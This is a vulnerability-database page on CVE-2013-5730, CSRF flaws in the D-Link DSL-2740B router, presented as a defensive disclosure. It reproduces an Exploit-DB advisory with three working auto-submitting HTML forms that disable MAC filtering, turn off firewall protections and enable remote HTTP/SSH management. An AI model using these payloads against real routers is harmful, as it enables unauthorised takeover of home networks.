CVE-2013-5730

medium

Published 2013-11-20 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Multiple cross-site request forgery (CSRF) vulnerabilities in D-Link DSL-2740B Gateway with firmware EU_1.00 allow remote attackers to hijack the authentication of administrators for requests that (1) enable or disable Wireless MAC Address Filters via a wlFltMode action to wlmacflt.cmd, (2) enable or disable firewall protections via a request to scdmz.cmd, or (3) enable or disable remote management via a save action to scsrvcntr.cmd.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-28239 webapps hardware text · 3 KB

Ivano Binetti · 2013-09-12

D-Link DSL-2740B - Multiple Cross-Site Request Forgery Vulnerabilities

text exploit Source: Exploit-DB

+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title    : D-Link DSL-2740B (ADSL Router) CSRF Vulnerability
# Date             : 09-08-2013
# Author           : Ivano Binetti (http://ivanobinetti.com)
# Vendor site      : http://www.d-link.com
# Version          : DSL-2740B 
# Tested on        : Firmware Version: EU_1.00 (Other release could be affected)
# Original Advisory: http://www.webapp-security.com/2013/09/d-link-dsl-2740b-multiple-csrf-vulnerabilities
# CVE              : CVE-2013-5730
+---------------------------------------------------------------------------------------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit
 3.1 Disable/Enable Wireless MAc Address Filter
 3.2 Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
 3.3 Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -)
+---------------------------------------------------------------------------------------------------------------------------------+


1) Introduction

D-Link DSL-2740B is an ADSL Router using, also,  a web management interface in order to set and change device parameters.


2) Vulnerability Description

The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router 
parameters and to perform many modifications to the router's parameters. The default ip adress of this adsl router, used for
management purpose, is 192.168.1.1.
In my Advisory I'll describe only how to carry out the following changes:
- Disable/Enable Wireless MAc Address Filter
- Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
- Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -).
Many other changes can be performed.

3) Exploit 
 3.1 Disable/Enable Wireless MAc Address Filter
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit</H2>
 <form method="POST" name="form0" action="http://192.168.1.1:80/wlmacflt.cmd?action=wlFltMode&wlFltMacMode=disabled">
 </body>
 </html>

 3.2 Disable/Enable all the Firewall protections (Both "SPI" and "DOS and Portscan Protection")
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2></H2>
 <form method="POST" name="form0" action="http://192.168.1.1:80/scdmz.cmd?&fwFlag=521472&dosenbl=0">
 </body>
 </html>

 3.3 Enable/Disable Remote Management (in my exploit I enabled remote management via http - tcp port 80 - and ssh - tcp port 22 -)
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2></H2>
 <form method="POST" name="form0" action="http://192.168.1.1:80/scsrvcntr.cmd?action=save&rmtmode=1&rmtport=80&rmtaction=allowall&
 ftp=0&http=2&icmp=2&snmp=2&tftp=0&ssh=1&telnet=0">
 </body>
 </html>
+----------------------------------------------------------------------------------------------------------------------------------+

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.